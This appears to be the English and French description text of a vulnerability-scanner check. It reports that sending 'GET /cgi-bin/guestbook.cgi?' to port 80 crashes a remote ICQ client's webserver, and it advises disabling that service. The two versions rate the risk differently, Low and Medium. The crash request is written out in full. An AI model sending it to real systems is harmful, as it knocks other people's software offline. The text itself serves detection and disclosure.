It was possible to crash the remote ICQ client
by connecting to port 80 and sending the request:

	GET /cgi-bin/guestbook.cgi?
	
	
An attacker may use this problem to prevent you from
working properly.

Solution: deactivate the webserver service of the client

Risk factor : Low";

Il s'est avéré possible de faire planter le client ICQ 
distant en se connectant au port 80 et en faisant la
requète :

	GET /cgi-bin/guestbook.cgi?

Un pirate peut utiliser ce problème pour vous empecher
de travailler correctement.


Solution : désactivez le service 'serveur web' offert par ce client

Facteur de risque : Moyen";
